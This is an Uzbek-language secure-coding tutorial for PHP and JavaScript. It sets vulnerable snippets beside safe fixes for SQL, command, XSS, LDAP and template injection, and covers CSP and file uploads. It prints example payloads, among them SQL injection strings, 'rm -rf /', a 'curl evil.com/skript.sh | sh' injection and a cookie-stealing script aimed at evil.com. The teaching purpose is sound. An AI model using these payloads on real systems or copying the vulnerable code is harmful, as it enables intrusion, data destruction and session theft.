Veb zaifliklari - inyeksiya va XSS

// ZAIF KOD
$ism = $_GET['ism'];
$natija = $pdo->query("SELECT * FROM talabalar WHERE ism = '$ism'");

Oddiy so'rov:  ism=Husanboy
SQL:           SELECT * FROM talabalar WHERE ism = 'Husanboy'

Hujum:         ism=' OR '1'='1
SQL:           SELECT * FROM talabalar WHERE ism = '' OR '1'='1'
Natija:        butun jadval qaytadi

1. Klassik - natija ekranda ko'rinadi
   ' UNION SELECT login, parol FROM users--

2. Xato asosida - xato xabaridan ma'lumot olish
   ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),...)) x)--

3. Ko'r - javob "ha/yo'q" ko'rinishida
   ' AND SUBSTRING(parol,1,1)='a'--

4. Vaqt asosida - javob vaqti bo'yicha
   ' AND IF(1=1, SLEEP(5), 0)--

// 1. TAYYORLANGAN SO'ROVLAR - asosiy himoya
$stmt = $pdo->prepare('SELECT * FROM talabalar WHERE ism = ? AND sinf = ?');
$stmt->execute([$ism, $sinf]);

// Nomlangan parametrlar
$stmt = $pdo->prepare(
    'SELECT * FROM buyurtmalar WHERE mijoz_id = :mijoz AND holat = :holat'
);
$stmt->execute(['mijoz' => $mijozId, 'holat' => $holat]);

// 2. IN uchun
$idlar = [3, 7, 12, 18];
$belgilar = implode(',', array_fill(0, count($idlar), '?'));

$stmt = $pdo->prepare("SELECT * FROM mahsulotlar WHERE id IN ({$belgilar})");
$stmt->execute($idlar);

// 3. Jadval va ustun nomlari - parametrlash ISHLAMAYDI
// Oq ro'yxat ishlating
final class SaralashTekshiruvchi
{
    private const RUXSAT_USTUNLAR = ['id', 'nomi', 'narx', 'yaratilgan'];

    public function tekshiring(string $ustun, string $yonalish): array
    {
        if (!in_array($ustun, self::RUXSAT_USTUNLAR, true)) {
            $ustun = 'id';
        }

        $yonalish = strtolower($yonalish) === 'desc' ? 'DESC' : 'ASC';

        return [$ustun, $yonalish];
    }
}

[$ustun, $yonalish] = $tekshiruvchi->tekshiring($_GET['saralash'], $_GET['yonalish']);
$sql = "SELECT * FROM mahsulotlar ORDER BY {$ustun} {$yonalish}";

// 4. To'g'ri PDO sozlamalari
$pdo = new PDO($dsn, $user, $parol, [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,   // MUHIM
]);

// 5. Baza foydalanuvchisi huquqlarini cheklash
// GRANT SELECT, INSERT, UPDATE, DELETE ON dokon.* TO 'app'@'localhost';
// DROP, ALTER, FILE huquqlari berilmaydi

// ZAIF
$fayl = $_POST['fayl'];
system("convert {$fayl} -resize 200x200 kichik.jpg");

fayl = rasm.jpg; rm -rf /
fayl = rasm.jpg && curl evil.com/skript.sh | sh
fayl = rasm.jpg $(whoami)

// XAVFSIZ - massiv sifatida argumentlar
$jarayon = new Process([
    'convert',
    $fayl,
    '-resize', '200x200',
    $natija,
]);
$jarayon->run();

// Yoki escapeshellarg
$buyruq = sprintf(
    'convert %s -resize 200x200 %s',
    escapeshellarg($fayl),
    escapeshellarg($natija),
);

// ZAIF
echo "<div>Salom, {$_GET['ism']}!</div>";

ism=<script>fetch('https://evil.com/?c='+document.cookie)</script>

// XAVFSIZ
echo '<div>Salom, ' . htmlspecialchars($_GET['ism'], ENT_QUOTES, 'UTF-8') . '!</div>';

// 1. HTML matn
echo htmlspecialchars($matn, ENT_QUOTES, 'UTF-8');

// 2. HTML atribut - qo'shtirnoq majburiy
echo '<input value="' . htmlspecialchars($qiymat, ENT_QUOTES, 'UTF-8') . '">';

// 3. JavaScript
echo '<script>const ism = ' . json_encode($ism, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';</script>';

// 4. URL parametri
echo '<a href="/qidiruv?q=' . urlencode($sorov) . '">';

// 5. CSS - foydalanuvchi ma'lumotini umuman qo'ymang

{# Twig - avtomatik qochiradi #}
<div>{{ foydalanuvchi.ism }}</div>

{# Kontekstga mos qochirish #}
<script>const ism = {{ foydalanuvchi.ism|json_encode|raw }};</script>
<a href="/profil?id={{ id|url_encode }}">Profil</a>

{# Xavfli - faqat ishonchli HTML uchun #}
<div>{{ matn|raw }}</div>

// HTML Purifier - ishonchli tozalash
$sozlama = HTMLPurifier_Config::createDefault();
$sozlama->set('HTML.Allowed', 'p,b,i,u,strong,em,a[href],ul,ol,li,br');
$sozlama->set('URI.AllowedSchemes', ['http' => true, 'https' => true]);
$sozlama->set('HTML.TargetBlank', true);

$tozalovchi = new HTMLPurifier($sozlama);
$xavfsizHtml = $tozalovchi->purify($foydalanuvchiHtml);

// ZAIF
document.getElementById('natija').innerHTML = location.hash.substring(1);
element.innerHTML = foydalanuvchiMalumoti;
eval(foydalanuvchiKodi);
document.write(malumot);

// XAVFSIZ
document.getElementById('natija').textContent = location.hash.substring(1);
element.textContent = foydalanuvchiMalumoti;

// HTML kerak bo'lsa - tozalang
element.innerHTML = DOMPurify.sanitize(foydalanuvchiHtml);

// Xavfsiz element yaratish
const div = document.createElement('div');
div.textContent = foydalanuvchiMalumoti;   // avtomatik qochiriladi
konteyner.appendChild(div);

add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-$request_id';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self' https://api.dokon.uz;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    object-src 'none';
    upgrade-insecure-requests;
" always;

// Nonce bilan inline skript
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'self' 'nonce-{$nonce}'");

<script nonce="<?= $nonce ?>">
    console.log('Bu skript ishlaydi');
</script>

<script>
    // Bu ishlamaydi - nonce yo'q
</script>

# Kuzatuv rejimi
add_header Content-Security-Policy-Report-Only "
    default-src 'self';
    report-uri /csp-hisobot;
" always;

// Hisobotlarni qabul qilish
Route::post('/csp-hisobot', function (Sorov $sorov) {
    $hisobot = json_decode($sorov->xomTana(), true);

    logger()->warning('CSP buzilishi', [
        'buzilgan_direktiva' => $hisobot['csp-report']['violated-directive'] ?? null,
        'bloklangan_uri'     => $hisobot['csp-report']['blocked-uri'] ?? null,
        'hujjat_uri'         => $hisobot['csp-report']['document-uri'] ?? null,
    ]);

    return response('', 204);
});

// LDAP inyeksiya
$filtr = "(uid={$_GET['login']})";   // ZAIF
$filtr = '(uid=' . ldap_escape($login, '', LDAP_ESCAPE_FILTER) . ')';

// XPath inyeksiya
$sorov = "//user[login='{$login}']";   // ZAIF

// NoSQL inyeksiya
// {"login": {"$ne": null}, "parol": {"$ne": null}}
$filtr = ['login' => (string) $login, 'parol' => (string) $parol];

// Shablon inyeksiyasi
$shablon = "Salom, {$_GET['ism']}";   // ZAIF
$twig->render($shablon);              // kod bajarilishi mumkin

// Header inyeksiyasi
header("Location: {$_GET['keyingi']}");   // ZAIF - CRLF inyeksiya

// Yo'naltirishni tekshirish
final class YonaltirishTekshiruvchi
{
    private const RUXSAT_HOSTLAR = ['dokon.uz', 'www.dokon.uz'];

    public function xavfsizmi(string $url): bool
    {
        // Nisbiy yo'l - xavfsiz
        if (str_starts_with($url, '/') && !str_starts_with($url, '//')) {
            return true;
        }

        $host = parse_url($url, PHP_URL_HOST);

        return $host !== null && in_array($host, self::RUXSAT_HOSTLAR, true);
    }
}

final class XavfsizFaylYuklovchi
{
    private const RUXSAT_TURLAR = [
        'image/jpeg' => 'jpg',
        'image/png'  => 'png',
        'image/webp' => 'webp',
    ];
    private const MAKS_HAJM = 5 * 1024 * 1024;

    public function yuklang(YuklanganFayl $fayl): string
    {
        if ($fayl->xatoBormi()) {
            throw new YuklashXatosi($fayl->xatoKodi());
        }

        if ($fayl->hajm() > self::MAKS_HAJM) {
            throw new FaylJudaKatta();
        }

        // MIME turini MAZMUN bo'yicha aniqlash
        $tur = (new finfo(FILEINFO_MIME_TYPE))->file($fayl->vaqtinchalikYol());

        if (!isset(self::RUXSAT_TURLAR[$tur])) {
            throw new NotogriFaylTuri($tur);
        }

        // Rasm haqiqatan rasmmi?
        $olcham = @getimagesize($fayl->vaqtinchalikYol());

        if ($olcham === false) {
            throw new NotogriFaylTuri('Rasm emas');
        }

        // Rasmni qayta yaratish - yashirin kod yo'qoladi
        $yangiNom = bin2hex(random_bytes(16)) . '.' . self::RUXSAT_TURLAR[$tur];
        $this->rasmniQaytaYarating($fayl->vaqtinchalikYol(), $yangiNom, $tur);

        return $yangiNom;
    }

    private function rasmniQaytaYarating(string $manba, string $nom, string $tur): void
    {
        $rasm = match ($tur) {
            'image/jpeg' => imagecreatefromjpeg($manba),
            'image/png'  => imagecreatefrompng($manba),
            'image/webp' => imagecreatefromwebp($manba),
        };

        $yol = self::YUKLAMALAR_YOLI . '/' . $nom;

        match ($tur) {
            'image/jpeg' => imagejpeg($rasm, $yol, 85),
            'image/png'  => imagepng($rasm, $yol, 8),
            'image/webp' => imagewebp($rasm, $yol, 85),
        };

        imagedestroy($rasm);
    }
}

# Yuklamalar papkasida skript bajarilishini taqiqlash
location /yuklamalar/ {
    location ~ \.php$ {
        deny all;
        return 403;
    }

    add_header Content-Disposition "attachment";
    add_header X-Content-Type-Options "nosniff";
}

# Statik tahlil
composer require --dev vimeo/psalm
vendor/bin/psalm --taint-analysis

# Semgrep - naqsh asosida qidirish
semgrep --config=p/security-audit manba/
semgrep --config=p/php manba/

# Dinamik tekshirish (faqat o'z tizimingizda!)
# OWASP ZAP
zap-cli quick-scan --self-contained http://localhost:8080